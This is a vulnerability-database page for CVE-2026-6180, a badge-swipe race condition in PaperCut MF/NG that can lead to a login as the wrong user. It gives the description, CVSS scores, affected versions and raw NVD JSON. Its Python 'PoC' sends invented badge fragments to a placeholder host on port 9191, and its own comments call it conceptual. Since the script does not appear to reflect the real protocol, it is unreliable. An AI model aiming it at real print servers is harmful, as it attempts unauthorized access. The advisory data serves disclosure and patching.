Security Vulnerability Report
中文
CVE-2026-6180 CVSS 8.1 HIGH

CVE-2026-6180

Published: 2026-05-05 07:16:01
Last Modified: 2026-05-12 19:04:43
Source: eb41dac7-0af8-4f84-9f6d-0272772514f4

Description

A race condition exists in PaperCut MF when processing badge-swipe data from certain HP multifunction devices. Under specific network conditions involving dropped packets and out-of-order sequence counters, the server may incorrectly process fragmented data chunks. If a sequence reset notification fails to reach the server, the server may reject the initial data chunk while erroneously accepting subsequent chunks before a connection reset completes. This leads to the registration of a truncated badge ID string. While this typically results in an authentication failure, the vulnerability is compounded in environments utilizing custom badge-ID post-processing scripts. In such configurations, the truncated string may be transformed into a valid ID belonging to a different user, leading to unauthorized session establishment (Incorrect User Login) on the device.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:* - VULNERABLE
PaperCut MF (2026年5月安全公告之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-6180 # This script simulates the race condition by manipulating network packets. # Note: This is a conceptual demonstration for educational purposes. import socket import time def send_badge_data(target_ip, target_port, badge_id): # Simulate fragmented data sending sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) try: # Send initial fragment (Simulate dropped sequence reset) # In a real exploit, packet manipulation (e.g., using Scapy) would be required # to drop the sequence reset notification or manipulate counters. fragment_1 = b"FRAG_1_" + badge_id.encode()[:4] sock.send(fragment_1) # Simulate network delay/condition causing out-of-order processing time.sleep(0.1) # Send subsequent fragment that might be accepted erroneously # This truncated ID might match another user after post-processing fragment_2 = b"FRAG_2_TRUNCATED" sock.send(fragment_2) print(f"[+] Sent manipulated badge data to {target_ip}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": target = "192.168.1.100" port = 9191 fake_badge = "USER_ADMIN_12345" send_badge_data(target, port, fake_badge)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6180", "sourceIdentifier": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "published": "2026-05-05T07:16:00.793", "lastModified": "2026-05-12T19:04:43.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition exists in PaperCut MF when processing badge-swipe data from certain HP multifunction devices. Under specific network conditions involving dropped packets and out-of-order sequence counters, the server may incorrectly process fragmented data chunks. If a sequence reset notification fails to reach the server, the server may reject the initial data chunk while erroneously accepting subsequent chunks before a connection reset completes.\n\n\n\nThis leads to the registration of a truncated badge ID string. While this typically results in an authentication failure, the vulnerability is compounded in environments utilizing custom badge-ID post-processing scripts. In such configurations, the truncated string may be transformed into a valid ID belonging to a different user, leading to unauthorized session establishment (Incorrect User Login) on the device."}], "metrics": {"cvssMetricV40": [{"source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-367"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1.9", "matchCriteriaId": "F2AF3AB4-FD10-4DE1-B906-011F45948BD0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.0.2", "versionEndExcluding": "25.0.10", "matchCriteriaId": "95268D4F-D496-43A9-8926-A4C9611310BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1.9", "matchCriteriaId": "44FCDCDE-4126-4F4F-89FC-D44924F45C82"}, {"vulnerable": true, "criteria": "cpe:2.3:a:papercut:papercut_ng:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.0.2", "versionEndExcluding": "25.0.10", "matchCriteriaId": "65745C75-AF55-4C86-8D1A-35BB6446F77D"}]}]}], "references": [{"url": "https://www.papercut.com/kb/Main/papercut-ng-mf-and-papercut-hive-security-bulletin-may-2026/", "source": "eb41dac7-0af8-4f84-9f6d-0272772514f4", "tags": ["Vendor Advisory"]}]}}